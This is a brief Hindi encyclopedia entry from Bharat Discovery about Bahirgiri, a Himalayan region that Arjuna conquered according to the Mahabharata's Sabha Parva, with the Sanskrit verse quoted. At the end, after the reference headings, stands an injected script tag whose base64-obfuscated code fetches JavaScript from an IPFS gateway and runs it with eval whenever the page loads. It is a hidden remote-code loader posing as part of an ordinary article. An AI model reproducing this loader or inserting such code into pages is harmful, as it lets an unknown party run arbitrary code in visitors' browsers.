बहिर्गिरि
भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 09:11, 16 सितम्बर 2012 का अवतरण (''''बहिर्गिरि''' का उल्लेख महाभारत, [[सभापर्व महाभारत|स...' के साथ नया पन्ना बनाया)
बहिर्गिरि का उल्लेख महाभारत, सभापर्व में हुआ है। इस उल्लेख के अनुसार अपनी दिग्विजय यात्रा के प्रसंग में पाण्डव अर्जुन ने 'अंतर्गिरि', 'बहिर्गिरि' और 'उपगिरि' नामक हिमालय के पर्वतीय प्रदेशों को विजित किया था-
'अंतर्गिरि च कौंतेयस्तेथैव च बहिर्गिरिम् तथैवोपगिरि चैव विजिग्वे पुरुषषैभ:।'[1]
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>